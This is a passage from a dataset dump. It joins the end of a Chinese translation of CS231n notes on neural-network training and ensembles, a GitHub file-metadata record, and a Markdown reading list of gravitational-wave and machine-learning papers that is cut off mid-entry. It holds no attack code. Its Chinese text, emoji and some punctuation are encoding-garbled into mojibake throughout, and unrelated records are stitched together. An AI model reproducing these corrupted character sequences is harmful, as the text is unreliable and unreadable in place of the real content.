ทๆ€ง๏ผŒไฝ†้ฃŽ้™ฉๅœจไบŽๅฏ่ƒฝไผšๅŒ…ๅซไธๅคŸ็†ๆƒณ็š„ๆจกๅž‹ใ€‚ๅœจๅฎž้™…ๆ“ไฝœไธญ๏ผŒ่ฟ™ๆ ทๆ“ไฝœ่ตทๆฅๆฏ”่พƒ็ฎ€ๅ•๏ผŒๅœจไบคๅ‰้ชŒ่ฏๅŽๅฐฑไธ้œ€่ฆ้ขๅค–็š„่ฎญ็ปƒไบ†ใ€‚\n- **ไธ€ไธชๆจกๅž‹่ฎพ็ฝฎๅคšไธช่ฎฐๅฝ•็‚น**ใ€‚ๅฆ‚ๆžœ่ฎญ็ปƒ้žๅธธ่€—ๆ—ถ๏ผŒ้‚ฃๅฐฑๅœจไธๅŒ็š„่ฎญ็ปƒๆ—ถ้—ดๅฏน็ฝ‘็ปœ็•™ไธ‹่ฎฐๅฝ•็‚น๏ผˆๆฏ”ๅฆ‚ๆฏไธชๅ‘จๆœŸ็ป“ๆŸ๏ผ‰๏ผŒ็„ถๅŽ็”จๅฎƒไปฌๆฅ่ฟ›่กŒๆจกๅž‹้›†ๆˆใ€‚ๅพˆๆ˜พ็„ถ๏ผŒ่ฟ™ๆ ทๅšๅคšๆ ทๆ€งไธ่ถณ๏ผŒไฝ†ๆ˜ฏๅœจๅฎž่ทตไธญๆ•ˆๆžœ่ฟ˜ๆ˜ฏไธ้”™็š„๏ผŒ่ฟ™็งๆ–นๆณ•็š„ไผ˜ๅŠฟๆ˜ฏไปฃไปทๆฏ”่พƒๅฐใ€‚\n- **ๅœจ่ฎญ็ปƒ็š„ๆ—ถๅ€™่ท‘ๅ‚ๆ•ฐ็š„ๅนณๅ‡ๅ€ผ**ใ€‚ๅ’ŒไธŠ้ขไธ€็‚น็›ธๅ…ณ็š„๏ผŒ่ฟ˜ๆœ‰ไธ€ไธชไนŸ่ƒฝๅพ—ๅˆฐ1-2ไธช็™พๅˆ†็‚น็š„ๆๅ‡็š„ๅฐไปฃไปทๆ–นๆณ•๏ผŒ่ฟ™ไธชๆ–นๆณ•ๅฐฑๆ˜ฏๅœจ่ฎญ็ปƒ่ฟ‡็จ‹ไธญ๏ผŒๅฆ‚ๆžœๆŸๅคฑๅ€ผ็›ธ่พƒไบŽๅ‰ไธ€ๆฌกๆƒ้‡ๅ‡บ็ŽฐๆŒ‡ๆ•ฐไธ‹้™ๆ—ถ๏ผŒๅฐฑๅœจๅ†…ๅญ˜ไธญๅฏน็ฝ‘็ปœ็š„ๆƒ้‡่ฟ›่กŒไธ€ไธชๅค‡ไปฝใ€‚่ฟ™ๆ ทไฝ ๅฐฑๅฏนๅ‰ๅ‡ ๆฌกๅพช็Žฏไธญ็š„็ฝ‘็ปœ็Šถๆ€่ฟ›่กŒไบ†ๅนณๅ‡ใ€‚ไฝ ไผšๅ‘็Žฐ่ฟ™ไธชโ€œๅนณๆป‘โ€่ฟ‡็š„็‰ˆๆœฌ็š„ๆƒ้‡ๆ€ปๆ˜ฏ่ƒฝๅพ—ๅˆฐๆ›ดๅฐ‘็š„่ฏฏๅทฎใ€‚็›ด่ง‚็š„็†่งฃๅฐฑๆ˜ฏ็›ฎๆ ‡ๅ‡ฝๆ•ฐๆ˜ฏไธ€ไธช็ข—็Šถ็š„๏ผŒไฝ ็š„็ฝ‘็ปœๅœจ่ฟ™ไธชๅ‘จๅ›ด่ทณ่ทƒ๏ผŒๆ‰€ไปฅๅฏนๅฎƒไปฌๅนณๅ‡ไธ€ไธ‹๏ผŒๅฐฑๆ›ดๅฏ่ƒฝ่ทณๅˆฐไธญๅฟƒๅŽปใ€‚\n\nๆจกๅž‹้›†ๆˆ็š„ไธ€ไธชๅŠฃๅŠฟๅฐฑๆ˜ฏๅœจๆต‹่ฏ•ๆ•ฐๆฎ็š„ๆ—ถๅ€™ไผš่Šฑ่ดนๆ›ดๅคšๆ—ถ้—ดใ€‚ๆœ€่ฟ‘Geoff Hintonๅœจโ€œ[Dark Knowledge](http://link.zhihu.com/?target=https%3A//www.youtube.com/watch%3Fv%3DEK61htlw8hY)โ€ไธŠ็š„ๅทฅไฝœๅพˆๆœ‰ๅฏๅ‘๏ผšๅ…ถๆ€่ทฏๆ˜ฏ้€š่ฟ‡ๅฐ†้›†ๆˆไผผ็„ถไผฐ่ฎก็บณๅ…ฅๅˆฐไฟฎๆ”น็š„็›ฎๆ ‡ๅ‡ฝๆ•ฐไธญ๏ผŒไปŽไธ€ไธชๅฅฝ็š„้›†ๆˆไธญๆŠฝๅ‡บไธ€ไธชๅ•็‹ฌๆจกๅž‹ใ€‚\n\n\n\n## ๆ€ป็ป“\n\n่ฎญ็ปƒไธ€ไธช็ฅž็ป็ฝ‘็ปœ้œ€่ฆ๏ผš\n\n- ๅˆฉ็”จๅฐๆ‰น้‡ๆ•ฐๆฎๅฏนๅฎž็Žฐ่ฟ›่กŒๆขฏๅบฆๆฃ€ๆŸฅ๏ผŒ่ฟ˜่ฆๆณจๆ„ๅ„็ง้”™่ฏฏใ€‚\n- ่ฟ›่กŒๅˆ็†ๆ€งๆฃ€ๆŸฅ๏ผŒ็กฎ่ฎคๅˆๅง‹ๆŸๅคฑๅ€ผๆ˜ฏๅˆ็†็š„๏ผŒๅœจๅฐๆ•ฐๆฎ้›†ไธŠ่ƒฝๅพ—ๅˆฐ100%็š„ๅ‡†็กฎ็Ž‡ใ€‚\n- ๅœจ่ฎญ็ปƒๆ—ถ๏ผŒ่ทŸ่ธชๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผ๏ผŒ่ฎญ็ปƒ้›†ๅ’Œ้ชŒ่ฏ้›†ๅ‡†็กฎ็Ž‡๏ผŒๅฆ‚ๆžœๆ„ฟๆ„๏ผŒ่ฟ˜ๅฏไปฅ่ทŸ่ธชๆ›ดๆ–ฐ็š„ๅ‚ๆ•ฐ้‡็›ธๅฏนไบŽๆ€ปๅ‚ๆ•ฐ้‡็š„ๆฏ”ไพ‹๏ผˆไธ€่ˆฌๅœจ1e-3ๅทฆๅณ๏ผ‰๏ผŒ็„ถๅŽๅฆ‚ๆžœๆ˜ฏๅฏนไบŽๅท็งฏ็ฅž็ป็ฝ‘็ปœ๏ผŒๅฏไปฅๅฐ†็ฌฌไธ€ๅฑ‚็š„ๆƒ้‡ๅฏ่ง†ๅŒ–ใ€‚\n- ๆŽจ่็š„ไธคไธชๆ›ดๆ–ฐๆ–นๆณ•ๆ˜ฏSGD+NesterovๅŠจ้‡ๆ–นๆณ•๏ผŒๆˆ–่€…Adamๆ–นๆณ•ใ€‚\n- ้š็€่ฎญ็ปƒ่ฟ›่กŒๅญฆไน ็Ž‡่กฐๅ‡ใ€‚ๆฏ”ๅฆ‚๏ผŒๅœจๅ›บๅฎšๅคšๅฐ‘ไธชๅ‘จๆœŸๅŽ่ฎฉๅญฆไน ็Ž‡ๅ‡ๅŠ๏ผŒๆˆ–่€…ๅฝ“้ชŒ่ฏ้›†ๅ‡†็กฎ็Ž‡ไธ‹้™็š„ๆ—ถๅ€™ใ€‚\n- ไฝฟ็”จ้šๆœบๆœ็ดข๏ผˆไธ่ฆ็”จ็ฝ‘ๆ ผๆœ็ดข๏ผ‰ๆฅๆœ็ดขๆœ€ไผ˜็š„่ถ…ๅ‚ๆ•ฐใ€‚ๅˆ†้˜ถๆฎตไปŽ็ฒ—๏ผˆๆฏ”่พƒๅฎฝ็š„่ถ…ๅ‚ๆ•ฐ่Œƒๅ›ด่ฎญ็ปƒ1-5ไธชๅ‘จๆœŸ๏ผ‰ๅˆฐ็ป†๏ผˆ็ช„่Œƒๅ›ด่ฎญ็ปƒๅพˆๅคšไธชๅ‘จๆœŸ๏ผ‰ๅœฐๆฅๆœ็ดขใ€‚\n- ่ฟ›่กŒๆจกๅž‹้›†ๆˆๆฅ่Žทๅพ—้ขๅค–็š„ๆ€ง่ƒฝๆ้ซ˜ใ€‚\n\n\n\n\n\n## ๆ‹“ๅฑ•้˜…่ฏป\n\n- Leon Bottou็š„ใ€Š[SGD่ฆ็‚นๅ’ŒๆŠ€ๅทง](http://link.zhihu.com/?target=http%3A//research.microsoft.com/pubs/192769/tricks-2012.pdf)ใ€‹ใ€‚\n- Yann LeCun็š„ใ€Š[Efficient BackProp](http://link.zhihu.com/?target=http%3A//yann.lecun.com/exdb/publis/pdf/lecun-98b.pdf)ใ€‹ใ€‚\n- Yoshua Bengio็š„ใ€Š[Practical Recommendations for Gradient-Based Training of Deep Architectures](http://link.zhihu.com/?target=http%3A//arxiv.org/pdf/1206.5533v2.pdf)ใ€‹ใ€‚\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CS231n_Neural_Nets_notes_3.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.6806086897850037, "alphanum_fraction": 0.7369382977485657, "avg_line_length": 68.49008178710938, "blob_id": "ff283e6a8a6057f68a1b382b3b5de0c50ecd8fb3", "content_id": "4c20f91d4be04c430a01db1e819d9c841e424526", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 35542, "license_type": "no_license", "max_line_length": 693, "num_lines": 504, "path": "/blog/paper_summary/index-NSConflict-Herb-mac10.14.1.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Paper Summary\ndate: 2018-08-22\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n![](https://i.loli.net/2018/08/24/5b7fffecd8d1d.png)\n\n---\n\n\n\n# How to comment\n\n> With use of theย [hypothes.is](https://hypothes.is/)ย extension (right-sided), you can highlight, annote any comments and discuss these notes inline*at any pages*and *posts*.\n>\n> *Please Feel Free*ย to Let Me Know and *Share*ย it Here.\n\n\n\n---\n\n\n\n[TOC]\n\n\n\n# :racing_car: **A Paper A Day**\n\n\nFelt like I wasnโ€™t reading enough โ€“ and what I was reading wasnโ€™t sinking in enough. I also wanted to keep track of my sources in a more controlled manner. As a part of adding everything to my JabRef (maybeโ€ฆ), I figured I would write up my comments on papers. \n\nThe goal is to read and comment once a day. and this [post](./APaperADay.html) will be updated day by day according to the reading process.\n\n**Please note that these posts are for my future self to review the materials on these papers without reading them all over again.** \n\nTherefore, the list of contents is only collected due to my own interests.\n\n\n\n<!--<details>\n <summary>Table of Contents</summary>\n <li><a href=\"#about\">About</a></li>\n <li><a href=\"#install\">Install</a></li>\n <li><a href=\"#usage\">Usage</a></li>\n <li><a href=\"#update\">Update</a></li>\n <li><a href=\"#contribute\">Contribute</a></li>\n <li><a href=\"#license\">License</a></li>\n</details>-->\n\n\n> Documentation is a love letter that you write to your future self.\n>\n> โ€”โ€” Damian Conway\n\n\n\n<blockquote class=\"reddit-card\" data-card-created=\"1543907974\"><a href=\"https://www.reddit.com/r/MachineLearning/comments/a21d0q/what_are_the_must_read_papers_for_a_beginner_in/\">What are the must read papers for a beginner in the field of Machine Learning and Artificial Intelligence? [Discussion]</a> from <a href=\"http://www.reddit.com/r/MachineLearning\">r/MachineLearning</a></blockquote>\n<script async src=\"//embed.redditmedia.com/widgets/platform.js\" charset=\"UTF-8\"></script>\n\n[ๆœบๅ™จๅญฆไน ไธŽๆทฑๅบฆๅญฆไน ็ปๅ…ธ่ฎบๆ–‡ๆ•ด็†](https://mp.weixin.qq.com/s/jKK6AwmCMGWgVK0vPX359w)\n\n<!-- I am some comments\nnot end, not end...\nhere the comment ends -->\n\n# :rainbow: GW Astronomy\n\n## General\n\n[Summary] Brรผgmann B. **Fundamentals of numerical relativity for gravitational wave sources**[J]. Science, 2018, 361(6400): 366-371.\n\n[Summary] Samir A Hamouda and Salima Y Alwarfaliy. \"**Gravitational Waves: The Physics of Space and Time**\"[PDF](https://s3.amazonaws.com/academia.edu.documents/57199376/Gravitational_waves__1.pdf?AWSAccessKeyId=AKIAIWOWYYGZ2Y53UL3A&Expires=1537374292&Signature=umZx0ZmQYXLM9%2Fb2bu1kl5T5hN0%3D&response-content-disposition=inline%3B%20filename%3DGravitational_Waves_The_Physics_of_Space.pdf)\n\n- What reading would you recommend for new grad students working on gravitational waves and compact object astrophysics?\n - \"**Physics, Astrophysics and Cosmology with Gravitational Waves**\" https://arxiv.org/pdf/0903.0338.pdf\n - \"**The Geometry of Gravitational Wave Detection**\" https://dcc.ligo.org/public/0106/T1300666/003/Whelan_geometry.pdf\n - \"**Gravitational-wave sensitivity curves**\" https://arxiv.org/pdf/1408.0740.pdf\n - \"**Theory of Gravitational Waves**\" https://arxiv.org/pdf/1607.04202.pdf\n - \"**Gravitational wave sources in the era of multi-frequency gravitational wave astronomy**\" https://arxiv.org/pdf/1610.05309.pdf\n - \"**Gravitational waves from orbiting binaries without general relativity: a tutorial**\" https://arxiv.org/pdf/1710.04635.pdf\n - \"**Merging stellar-mass binary black holes**\" https://arxiv.org/pdf/1806.05820.pdf\n - **gravitational-wave resources** http://hosting.astro.cornell.edu/~favata/gwresources.html\n - https://gr-asp.net | Serving last 13984 papers from gr-qc and related categories\n - https://www.black-holes.org <u>S</u>imulating E<u>x</u>tremef <u>S</u>pacetimes (SXS)\n\n1. Jaranowski, Piotr, Andrzej Krolak, and Bernard F. Schutz. \"Data analysis of gravitational-wave signals from spinning neutron stars: The signal and its detection.\" *Physical Review D* 58.6 (1998): 063001.\n2. Jaranowski, Piotr, and Andrzej Krolak. \"Data analysis of gravitational-wave signals from spinning neutron stars. II. Accuracy of estimation of parameters.\" *Physical Review D*59.6 (1999): 063003.\n3. Jaranowski, Piotr, and Andrzej Krolak. \"Data analysis of gravitational-wave signals from spinning neutron stars. III. Detection statistics and computational requirements.\" *Physical Review D* 61.6 (2000): 062001.\n4. Astone P, Borkowski K M, Jaranowski P, et al. Data analysis of gravitational-wave signals from spinning neutron stars. IV. An all-sky search[J]. Physical Review D, 2002, 65(4): 042003.\n\n[How do we know LIGO detected gravitational waves?](https://cqgplus.com/2016/06/06/how-do-we-know-ligo-detected-gravitational-waves/) Posted on [June 6, 2016](https://cqgplus.com/2016/06/06/how-do-we-know-ligo-detected-gravitational-waves/) by [Adam Day](https://cqgplus.com/author/publisherad/)\n\n[The O2 Catalogueโ€”It goes up to 11](https://cplberry.com/2018/12/07/o2-catalogue/) | An awesome review on O2 Catalogue posted by [CHRISTOPHER BERRY](https://cplberry.com/)\n\n## Data Analysis & Signal Processing in GW Astronomy\n\n**The GstLAL template bank for spinning compact binary mergers in the second observation run of Advanced LIGO and Virgo**. Debnandini Mukherjee, etc. [etc.] (2018) [arXiv:1812.05121](https://arxiv.org/abs/1812.05121)\n\n**Wavelet-based classification of transient signals for Gravitational Wave detectors**. <u>Elena Cuoco</u>, Massimiliano Razzano, Andrei Utina [EGO and Scuola Normale Superiore, Pisa University and INFN Pisa, Glasgow University] (2018 EUSIPCO) [PDF](https://ieeexplore.ieee.org/abstract/document/8553393)\n\n**Structured sparsity regularization for gravitational-wave polarization reconstruction**. Fangchen Feng, Eric Chassande-Mottin and Philippe Bacon, Aure ฬlia Fraysse [Univ. Paris Diderot & Univ. Paris-Sud] (2018 EUSIPCO) [PDF](https://ieeexplore.ieee.org/abstract/document/8553009)\n\n**Detection and Estimation of Unmodeled Chirps**. Soumya D. Mohanty [The University of Texas Rio Grande Valley] (2018 EUSIPCO) [PDF](https://ieeexplore.ieee.org/abstract/document/8553248)\n\n**GPU-Optimised Low-Latency Online Search for Gravitational Waves from Binary Coalescences**. Xiaoyang Guo, Qi Chu, Zhihui Du, Linqing Wen [Tsinghua University & University of Western Australia] (2018 EUSIPCO) [PDF](https://ieeexplore.ieee.org/abstract/document/8553574)\n\n[Paper Summary] **Techniques for gravitational-wave detection of compact binary coalescence**. Sarah Caudill for the LIGO Scientific Collaboration and the Virgo Collaboration [1098 XG Amsterdam, The Netherlands] (2018 EUSIPCO) [PDF](https://ieeexplore.ieee.org/abstract/document/8553549)\n\n**Posterior samples of the parameters of black hole mergers released to date in the second Advanced LIGO--Virgo observing run**. Soumi De, Collin D. Capano, Christopher M. Biwer, Alexander H. Nitz, Duncan A. Brown [Syracuse U. & MPI Germany & Hannover & Los Alamos National Laboratory] (2018) [arXiv:1811.09232](https://arxiv.org/abs/1811.09232) [Github](https://github.com/gwastro/o2-bbh-pe)\n\n**Investigating the noise residuals around the gravitational wave event GW150914**. Alex B. Nielsen, Alexander H. Nitz, Collin D. Capano, Duncan A. Brown [MPI Germany & Hannover Germany & Syracuse U.] (2018) [arXiv:1811.04071](https://arxiv.org/abs/1811.04071) [Github](https://github.com/gwastro/gw150914_investigation)\n\nCreswell, James, et al. \"**On the time lags of the LIGO signals**.\" *[Journal of Cosmology and Astroparticle Physics](http://iopscience.iop.org/article/10.1088/1475-7516/2017/08/013/meta)* 2017.08 (2017): 013. [arXiv:1706.04191](https://arxiv.org/abs/1706.04191)\n\n[Paper Summary] Zevin, Michael, et al. \"**Gravity Spy: integrating advanced LIGO detector characterization, <u>machine learning</u>, and citizen science**.\" *[Classical and quantum gravity](http://iopscience.iop.org/0264-9381/34/6/064003/)* 34.6 (2017): 064003. [arXiv:1611.04596](https://arxiv.org/abs/1611.04596) (**Current Challenge & CONV.**)\n\n[Paper Summary] Abbott, Benjamin P., et al. \"**GW170817: Observation of Gravitational Waves from a Binary Neutron Star Inspiral**.\" *[Physical Review Letters](https://journals.aps.org/prl/pdf/10.1103/PhysRevLett.119.161101)* 119.16 (2017): 161101. (**Glitch!**)\n\n[Paper Summary] Abbott, B. P., et al. \"**Binary black hole mergers in the first advanced LIGO observing run**.\" *[Physical Review X](https://link.aps.org/pdf/10.1103/PhysRevX.6.041015)* 6.4 (2016): 041015. [arXiv:1606.04856](https://arxiv.org/abs/1606.04856) (**Current Searches**)\n\n[Paper Summary] Abbott, Benjamin P., et al. \"**GW151226: Observation of gravitational waves from a 22-solar-mass binary black hole coalescence**.\" *[Physical review letters](https://link.aps.org/pdf/10.1103/PhysRevLett.116.241103)* 116.24 (2016): 241103. [arXiv:1606.04855](https://arxiv.org/abs/1606.04855) (**Current Searches & Current Parameter Estimation**)\n\n[Paper Summary] Abbott, Benjamin P., et al. \"**Characterization of transient noise in Advanced LIGO relevant to gravitational wave signal GW150914**.\" *[Classical and Quantum Gravity](http://iopscience.iop.org/article/10.1088/0264-9381/33/13/134001/meta)* 33.13 (2016): 134001. [arXiv:1602.03844](https://arxiv.org/abs/1602.03844)\n\n**BayesLine: Bayesian Inference for Spectral Estimation of Gravitational Wave Detector Noise**. Tyson B. Littenberg, Neil J. Cornish [Northwestern U. & Montana State U.] (2015) [Phys. Rev. D 91, 084034](https://journals.aps.org/prd/abstract/10.1103/PhysRevD.91.084034) [arXiv:1410.3852](https://arxiv.org/abs/1410.3852)\n\n\n\n\n\n## GW Astronomy with Machine Learning\n\n### GW related\n\n**Predicting surface wave velocities at gravitational wave observatories using archival seismic data**. Nikhil Mukund, Michael Coughlin, Jan Harms, Sebastien Biscans, Jim Warner, Arnaud Pele, Keith Thorne, David Barker, Nicolas Arnaud, Fred Donovan, Irene Fiori, <u>Hunter Gabbard</u>, Brian Lantz, Richard Mittleman, Hugh Radkins, Bas Swinkels [...] (2018) [arXiv:1812.05185](https://arxiv.org/abs/1812.05185)\n\n[Paper Summary] **Applying deep neural networks to the detection and space parameter estimation of compact binary coalescence with a network of gravitational wave detectors**. <u>Xilong Fan</u>, <u>Jin Li</u>, Xin Li, Yuanhong Zhong, Junwei Cao [Hubei University of Education & Chongqing U. & Tsinghua U.] (2018) [arXiv:1811.01380](https://arxiv.org/abs/1811.01380)\n\n**Bilby: A user-friendly Bayesian inference library for gravitational-wave astronomy**. etc. [etc.] (2018) [arXiv:1811.02042](https://arxiv.org/abs/1811.02042)\n\n**Total-variation methods for gravitational-wave denoising: performance tests on Advanced LIGO data**. Alejandro Torres-Fornรฉ, <u>Elena Cuoco</u>, Antonio Marquina, Josรฉ A. Font, Josรฉ M. Ibรกรฑez [Universitat de Vale`ncia & EGO & SNS & INFN] (2018) [arXiv:1806.07329](https://arxiv.org/abs/1806.07329)\n\n[Paper Summary] <u>Gabbard, H.</u>, Williams, M., Hayes, F., & <u>Messenger, C.</u> (2018). \"**Matching matched filtering with deep networks for gravitational-wave astronomy**\". *[Physical review letters](https://journals.aps.org/prl/pdf/10.1103/PhysRevLett.120.141103)*, *120*(14), 141103.\n\n\n\n[[Paper Summary](./Deep neural networks to enable real-time multimessenger astrophysics.html)] <u>George D</u>, <u>Huerta E A</u>. \"**Deep neural networks to enable real-time multimessenger astrophysics**\"[J]. Physical Review D, 2018, 97(4): 044039. (**First attempt using DNN!**)\n\n**Classification methods for noise transients in advanced gravitational-wave detectors II: performance tests on Advanced LIGO data**. Jade Powell, Alejandro Torres-Fornรฉ, Ryan Lynch, Daniele Trifirรฒ, <u>Elena Cuoco</u>, Marco Cavagliร , Ik Siong Heng, Josรฉ A. Font [University of Glasgow, Universitat de Val\\`encia, Cambridge, Universit\\`a di Pisa, EGO, INFN, The University of Mississippi] (2016) [arXiv:1609.06262](https://arxiv.org/abs/1609.06262)\n\n**Classification methods for noise transients in advanced gravitational-wave detectors**. Jade Powell, Daniele Trifiro, <u>Elena Cuoco</u>, Ik Siong Heng, Marco Cavaglia [University of Glasgow, EGO, INFN, The University of Mississippi] (2015) [arXiv:1505.01299](https://arxiv.org/abs/1505.01299)\n\nBiswas R, Blackburn L, Cao J, et al. \"**Application of machine learning algorithms to the study of noise artifacts in gravitational-wave data**\"[J]. [Physical Review D](https://journals.aps.org/prd/abstract/10.1103/PhysRevD.88.062003), 2013, 88(6): 062003. [arXiv:1303.6984](https://arxiv.org/abs/1303.6984) (**ANN & SVM & RF**)\n\n\n\n\n\n---\n\n### GW not related\n\n**Unsupervised learning and data clustering for the construction of Galaxy Catalogs in the Dark Energy Survey**. Asad Khan, E. A. Huerta, Sibo Wang, Robert Gruendl [University of Illinois at Urbana-Champaign, Urbana] (2018) [arXiv:1812.02183](https://arxiv.org/abs/1812.02183)\n\n**Exploring galaxy evolution with generative models**. Kevin Schawinski, M. Dennis Turp, Ce Zhang [ETH Zurich] (2018) [arXiv:1812.01114](https://arxiv.org/abs/1812.01114)\n\n**Probabilistic Random Forest: A machine learning algorithm for noisy datasets**. Itamar Reis, Dalya Baron, Sahar Shahaf [Tel-Aviv U.] (2018) [arXiv:1811.05994](https://arxiv.org/abs/1811.05994)\n\n[[Paper Summary](./Classifying Lensed Gravitational Waves in the Geometrical Optics Limit with Machine Learning.html)] **Classifying Lensed Gravitational Waves in the Geometrical Optics Limit with Machine Learning**. Amit Jit Singh, Ivan S.C. Li, Otto A. Hannuksela, Tjonnie G.F. Li, Kyungmin Kim [The Chinese University of Hong Kong & Imperial College London] (2018) [arXiv:1810.07888](https://arxiv.org/abs/1810.07888)\n\n**DeepSphere: Efficient spherical Convolutional Neural Network with HEALPix sampling for cosmological applications**. Nathanaรซl Perraudin, Michaรซl Defferrard, Tomasz Kacprzak, Raphael Sgier [Swiss Data Science Center & EPFL & ETH Zurich] (2018) [arXiv:1810.12186](https://arxiv.org/abs/1810.12186)\n\n**Fusing numerical relativity and deep learning to detect higher-order multipole waveforms from eccentric binary black hole mergers**. Adam Rebei, <u>E. A. Huerta</u>, Sibo Wang, Sarah Habib, Roland Haas, Daniel Johnson, <u>Daniel George</u> [Urbana] (2018) [arXiv:1807.09787](https://arxiv.org/abs/1807.09787)\n\n\n\nhttp://www.tapir.caltech.edu/~vvarma/\n\n# โฃ๏ธ Awesome Papers Related to My Interests\n\n## Others\n\n**Deep Neural Networks for Automatic Classification of Anesthetic-Induced Unconsciousness**. Konstantinos Patlatzoglou, etc. [etc.] (2018) [PDF](./2018Patlatzoglou-DeepNeuralNetworks.pdf)\n\n**Using Convolutional Neural Networks to Classify Audio Signal in Noisy Sound Scenes**. M.V. Gubin [South Ural State University] (2018 GloSIC) [PDF](https://ieeexplore.ieee.org/abstract/document/8570117) [Github](https://github.com/gubinmv/cnn_in_noisy_scenes)\n\n**Why does deep and cheap learning work so well?**. Henry W. Lin (Harvard), Max Tegmark (MIT), David Rolnick (MIT) (2016) [arXiv:1608.08225](https://arxiv.org/abs/1608.08225)\n\n\n\n\n\n\n\n- Rotation-invariant convolutional neural networks for galaxy morphology prediction\n- Deep learning for time series classification\n- ใ€ŠLearning Confidence for Out-of-Distribution Detection in Neural Networksใ€‹T DeVries, G W. Taylor [University of Guelph & Vector Institute] (2018) http://t.cn/RFPZvFB \n- ใ€ๆตๅฝขๅญฆไน ไธŽ่ฐฑๆ–นๆณ•ใ€‘ใ€ŠManifold Learning and Spectral Methodsใ€‹by David Pfau [DeepMind][*O*็ฝ‘้กต้“พๆŽฅ](http://t.cn/RdzYMu9) \n- GAN: https://arxiv.org/pdf/1701.00160.pdf\n- ใ€ŠAnomaly Detection with Generative Adversarial Networks for Multivariate Time Seriesใ€‹D Li, D Chen, J Goh, S Ng [National University of Singapore] (2018) http://t.cn/EvXuiAS \n- ใ€ๆœ€ๆ–ฐๅฏๅค็Žฐๅ›พๅƒๅŽปๅ™ช็ฎ—ๆณ•ๆฑ‡ๆ€ปใ€‘โ€™Collection of popular and reproducible image denoising works.' by Bihan Wen GitHub: [*O*็ฝ‘้กต้“พๆŽฅ](http://t.cn/RkREnEk) another by Wenhan Yang [*O*็ฝ‘้กต้“พๆŽฅ](http://t.cn/RkREeyJ) \n\n\n\n## :cloud_with_rain: Denoising & Noise Modeling\n\n> ใ€ๆœ€ๆ–ฐๅฏๅค็Žฐๅ›พๅƒๅŽปๅ™ช็ฎ—ๆณ•ๆฑ‡ๆ€ปใ€‘โ€™Collection of popular and reproducible image denoising works.' by Bihan Wen GitHub: http://t.cn/RkREnEk another by Wenhan Yang http://t.cn/RkREeyJ \n>\n> - by Bihan Wen\n> - by Wenhan Yang\n\n- [Paper Summary] K He, J Sun, X Tang. \"**Single image haze removal using dark channel prior**\" (2009)(**CVPR best paper**)([pdf](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.672.3815&rep=rep1&type=pdf))(**ไฝ•ๅ‡ฏๆ˜Žๅšๅฃซ็š„็ฌฌไธ€็ฏ‡paper๏ผ**)\n- [Paper Summary] Olaf Ronneberger, Philipp Fischer, and Thomas Brox \"**U-Net: Convolutional Networks for Biomedical Image Segmentation**\" arXiv:1505.04597 (2015) **(U-Net)** ([Website](https://lmb.informatik.uni-freiburg.de/people/ronneber/u-net/)) ([code](https://github.com/xuyuting45/DSB2018-mx-unet)) ([code](https://github.com/chinakook/U-Net)) ([code](https://github.com/divamgupta/image-segmentation-keras/tree/master/Models)) ([code](https://github.com/chinakook/U-Net/blob/master/unet_gluon.ipynb)) ([code](https://gluon.mxnet.io/chapter14_generative-adversarial-networks/pixel2pixel.html?highlight=unet)) ([code](https://github.com/bckenstler/unet-nerve-segmentation-mxnet/blob/master/U-Net%20MXNet.ipynb))\n- [Paper Summary] Xiao-Jiao Mao, Chunhua Shen, Yu-Bin Yang. \"**Image Restoration Using Convolutional Auto-encoders with Symmetric Skip Connections**\" arXiv:1606.08921 (2016) **(Skip connections)** ([code](https://github.com/7wik/convolutional-auto-encoders-with-skip-connections))\n- [Paper Summary] F Zhu, G Chen, PA Heng. \"**From Noise Modeling to Blind Image Denoising**\" CVPR (2016) ([Website](https://www.cv-foundation.org/openaccess/content_cvpr_2016/html/Zhu_From_Noise_Modeling_CVPR_2016_paper.html))\n\n- [Paper Summary] Fu, X., Huang, J., Ding, X., Liao, Y., Paisley. J \"**Clearing the skies: A deep network architecture for single-image rain removal**\" arXiv:1609.02087 (2017) (**DerainNet**)(a low-pass filter)\n- [Paper Summary] Zhang, H., Sindagi, V., Patel. \"**Image de-raining using a conditional generative adversarial network.**\" arXiv:1701.05957 (2017) (ๅŽป้›จ) (**ID-CGAN**)\n- [Paper Summary] R Qian, R T. Tan, W Yang, J Su, J Liu. \"**Attentive Generative Adversarial Network for Raindrop Removal from a Single Image**.\" arXiv:1711.10098 (2017) **(ๅ•ๅ›พๅŽป้›จ)** ([code](http://t.cn/RDfhFhN)) (attentive GAN)\n- [Paper Summary] Dmitry Ulyanov, Andrea Vedaldi, Victor Lempitsky. \"**Deep Image Prior**\" arXiv:1711.10925 (2017) ([Website](https://dmitryulyanov.github.io/deep_image_prior))\n- [Paper Summary] Li, R., Cheong, L.F., Tan, \"**Single image deraining using scale-aware multi-stage recurrent network.**\" arXiv:1712.06830 (2017)\n- [Paper Summary] Jaakko Lehtinen, Jacob Munkberg, Jon Hasselgren, Samuli Laine, Tero Karras, Miika Aittala, Timo Aila \"**Noise2Noise: Learning Image Restoration without Clean Data**\" arXiv:1803.04189 (2018) (ICML 2018) ([ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s/JZaWJzVHXShgTQUuiJlDVA)) ([nvidia](https://news.developer.nvidia.com/ai-can-now-fix-your-grainy-photos-by-only-looking-at-grainy-photos/)) ([GitHub](https://github.com/NVlabs/noise2noise))\n- [Paper Summary] C Chen, Q Chen, J Xu, V Koltun. \"**Learning to See in the Dark**\" 